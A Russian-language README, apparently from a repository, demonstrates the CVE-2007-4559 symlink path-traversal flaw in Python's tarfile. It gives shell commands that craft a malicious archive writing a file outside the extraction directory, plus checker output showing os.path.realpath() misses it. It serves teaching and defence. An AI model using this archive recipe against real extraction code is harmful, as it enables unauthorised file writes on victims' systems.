
Образовательная демонстрация CVE-2007-4559 атаки через симлинк в Python tarfile со скриптом, показывающим, почему os.path.realpath() не предотвращает извлечение за пределы целевых каталогов.
Это демонстрация того, как стандартная обработка извлечения tar-файлов в Python до версии 3.11.4 уязвима для простой атаки с использованием симлинков. Инструкции ниже описывают, как создать вредоносный payload. Скрипт untar.py демонстрирует, как и почему работают функции, добавленные в 3.11.4, — а именно необходимость вызова чего-то вроде os.path.realpath() перед каждой записью для каждого файла. Скрипт использует точно такой же метод проверки, как и функция extraction filter, включённая в Python >= 3.11.4, ЗА ИСКЛЮЧЕНИЕМ того, что он не записывает файлы на диск. Таким образом, он показывает, что os.path.realpath() не способен правильно разрешать симлинки, что позволяет записывать члены tar-архива за пределами целевого расположения в файловой системе.
untar.py, который демонстрирует «почему» за недавней реализацией улучшенной проверки tar-файлов в библиотеке tarfile Python. Из-за того, как работает os.path.realpath(), нельзя полагаться на него для разрешения симлинков, если эти ссылки ещё не существуют в файловой системе. Это означает, что нельзя полагаться только на os.path.realpath() для проверки путей членов tar-файла перед извлечением архива. Вместо этого необходимо вызывать os.path.realpath() перед каждой записью для каждого члена архива, чтобы обеспечить обнаружение вредоносной активности симлинков. Подробнее см. PEP-706 и документацию tarfile.snerd@jess:~$ mkdir -p lab/{lib,target}
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
snerd@jess:~/lab$ tar -rvPf terry.tar lib
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
snerd@jess:~/lab/target$ tar -xPvf terry.tar
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file lib target terry.tar
скачайте untar.py из этого репозитория и поместите его в папку ./lab
запустите скрипт. обратите внимание, как легко обмануть os.path.realpath(), когда вредоносный симлинк ещё не записан в целевую файловую систему.
snerd@jess:~/lab$ python3 untar.py
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-
Предупреждение: 15-летняя уязвимость Python tarfile скрывается в более чем 350 000 проектов
Пост на SO о безопасном извлечении tar-архивов до новых функций Python 3.11.4
Заявление 2022 года от давнего [вышедшего на пенсию в 2019] мейнтейнера библиотеки tarlib
реализация новой функции фильтрации извлечения, введённой в Python 3.11.4